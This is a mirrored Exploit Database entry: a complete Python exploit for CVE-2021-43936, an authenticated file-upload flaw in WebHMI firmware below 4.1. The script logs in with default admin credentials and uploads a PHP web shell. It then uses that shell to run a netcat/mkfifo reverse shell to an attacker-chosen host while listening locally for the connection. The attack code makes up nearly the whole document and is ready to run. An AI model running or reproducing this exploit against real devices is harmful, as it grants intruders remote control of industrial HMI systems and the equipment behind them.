WebHMI 4.0 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 36 阅读

• 作者： Jeremiasz Pluta
  日期： 2021-12-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50589/

• # Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
  # Date: 12/12/2021
  # Exploit Author: Jeremiasz Pluta
  # Vendor Homepage: https://webhmi.com.ua/en/
  # Version: WebHMI Firmware < 4.1
  # CVE: CVE-2021-43936
  # Tested on: WebHMI Firmware 4.0.7475
  
  #!/usr/bin/python
  import sys
  import re
  import argparse
  import pyfiglet
  import requests
  import time
  import subprocess
  
  banner = pyfiglet.figlet_format("CVE-2021-43936")
  print(banner)
  print('Exploit for CVE-2021-43936')
  print('For: WebHMI Firmware < 4.1')
  
  login = "admin" #CHANGE ME IF NEEDED
  password = "admin" #CHANGE ME IF NEEDED
  
  class Exploit:
  
  	def __init__(self, target_ip, target_port, localhost, localport):
  		self.target_ip = target_ip
  		self.target_port = target_port
  		self.localhost = localhost
  		self.localport = localport
  
  	def exploitation(self):
  		payload = """<?php system($_GET['cmd']); ?>"""
  		payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""
  
  		headers_login = {
  		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
  		'Accept': 'application/json, text/javascript, */*; q=0.01',
  		'Accept-Language': 'en-US,en;q=0.5',
  		'Accept-Encoding': 'gzip, deflate',
  		'Content-Type': 'application/json',
  		'X-WH-LOGIN': login,
  		'X-WH-PASSWORD': password,
  		'X-Requested-With': 'XMLHttpRequest',
  		'Connection': 'close',
  		'Content-Length': '0'
  		}
  
  		url = 'http://' + target_ip + ':' + target_port 
  		r = requests.Session()
  
  		print('[*] Resolving URL...')
  		r1 = r.get(url)
  		time.sleep(3)
  
  		print('[*] Trying to log in...')
  		r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)
  		time.sleep(3)
  
  		print('[*] Login redirection...')
  		login_cookies = {
  		'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],
  		'X-WH-CHECK-TRIAL':'true',
  		'il18next':'en',
  		}
  		r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)
  		time.sleep(3)
  
  		print('[*] Uploading cmd.php file...')
  		files = {
  		'file': ('cmd.php', payload, 'application/x-php')
  		}
  		r4 = r.post(url + '/files.php', files=files, cookies=login_cookies)
  		time.sleep(3)
  
  		print('[*] Setting up netcat listener...')
  		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
  		time.sleep(3)
  
  		print('[*] Executing reverse shell...')
  		print('[*] Watchout for shell! :)')
  		r5 = r.get(url + '/uploads/files/cmd.php?cmd=' + payload2, cookies=login_cookies)
  
  		if (r5.status_code == 200):
  			print('[*] Got shell!')
  			while True:
  				listener.wait()
  		else:
  			print('[-] Something went wrong!')
  			listener.terminate()
  
  def get_args():
  	parser = argparse.ArgumentParser(description='WebHMI Firmware <4.1 Unrestricted File Upload + Code Execution (Authenticated)')
  	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
  	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
  	parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
  	parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
  	args = parser.parse_args()
  	return args
  
  args = get_args()
  target_ip = args.url
  target_port = args.target_port
  localhost = args.localhost
  localport = args.localport
  
  exp = Exploit(target_ip, target_port, localhost, localport)
  exp.exploitation()